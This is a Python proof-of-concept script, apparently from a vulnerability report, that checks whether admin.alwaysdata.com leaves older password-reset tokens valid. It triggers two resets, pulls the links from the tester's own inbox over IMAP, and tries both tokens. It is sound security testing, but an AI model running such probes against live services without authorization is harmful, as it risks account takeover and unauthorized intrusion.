""" PoC: Password reset token non-invalidation on admin.alwaysdata.com Triggers two resets, uses the newer token to change the password, then confirms the older token still works. Prints pass/fail. Requirements: requests (pip install requests) Usage: EMAIL=you@mail.com APP_PASSWORD=xxxx python3 poc.py """ import requests, re, time, imaplib, email as eml, os, sys EMAIL = os.environ.get("EMAIL", "") APP_PASSWORD = os.environ.get("APP_PASSWORD", "") if not EMAIL or not APP_PASSWORD: sys.exit("Set EMAIL and APP_PASSWORD env vars.") LOST_URL = "https://admin.alwaysdata.com/password/lost/" LOGIN_URL = "https://admin.alwaysdata.com/login/" def post_with_csrf(url, extra_data, session=None): s = session or requests.Session() page = s.get(url, timeout=15) m = re.search(r'csrfmiddlewaretoken.*?value="([^"]+)"', page.text) if not m: return None, s data = {"csrfmiddlewaretoken": m.group(1)} data.update(extra_data) r = s.post(url, data=data, headers={"Referer": url}, timeout=15, allow_redirects=False) return r, s def trigger_reset(): r, _ = post_with_csrf(LOST_URL, {"email": EMAIL}) return r and r.status_code == 302 def get_tokens(count=2): m = imaplib.IMAP4_SSL("imap.gmail.com") m.login(EMAIL, APP_PASSWORD) m.select("inbox") _, msgs = m.search(None, '(FROM "alwaysdata" SUBJECT "Password reset")') ids = msgs[0].split() tokens = [] for mid in ids[-(count + 2):]: _, data = m.fetch(mid, "(RFC822)") msg = eml.message_from_bytes(data[0][1]) body = "" for part in msg.walk(): if part.get_content_type() in ("text/plain", "text/html"): p = part.get_payload(decode=True) if p: body += p.decode(errors="replace") links = re.findall(r"https://admin\.alwaysdata\.com/user/reset_password/\S+", body) if links: tokens.append(links[0]) m.logout() return tokens[-count:] def use_token(url, password): s = requests.Session() page = s.get(url, timeout=15) if 'name="password"' not in page.text: return False csrf = re.search(r'csrfmiddlewaretoken.*?value="([^"]+)"', page.text).group(1) r = s.post(url, data={"csrfmiddlewaretoken": csrf, "password": password}, headers={"Referer": url}, timeout=15, allow_redirects=False) return r.status_code == 302 def login(password): s = requests.Session() page = s.get(LOGIN_URL, timeout=15) csrf = re.search(r'csrfmiddlewaretoken.*?value="([^"]+)"', page.text).group(1) r = s.post(LOGIN_URL, data={"csrfmiddlewaretoken": csrf, "login": EMAIL, "password": password}, headers={"Referer": LOGIN_URL}, timeout=15, allow_redirects=False) return "deux facteurs" in r.text or "security code" in r.text or r.status_code == 302 # --- main --- print("[1] Triggering two resets...") assert trigger_reset(), "Reset 1 failed (rate limited?)" time.sleep(5) assert trigger_reset(), "Reset 2 failed (rate limited?)" print("[2] Fetching tokens from inbox...") time.sleep(10) tokens = get_tokens(2) assert len(tokens) == 2, f"Got {len(tokens)} tokens, need 2" token_a, token_b = tokens[0], tokens[1] print("[3] Using Token B to change password...") assert use_token(token_b, "PoCTokenB!"), "Token B failed" print("[4] Checking Token A (should be invalid if patched)...") if not use_token(token_a, "PoCTokenA!"): print("[PASS] Token A is invalid. Not vulnerable.") sys.exit(0) print("[5] Token A still worked. Verifying login...") if login("PoCTokenA!"): print("[FAIL] VULNERABLE: stale token changed password, login confirmed.") else: print("[PARTIAL] Token A POST succeeded but login did not confirm.")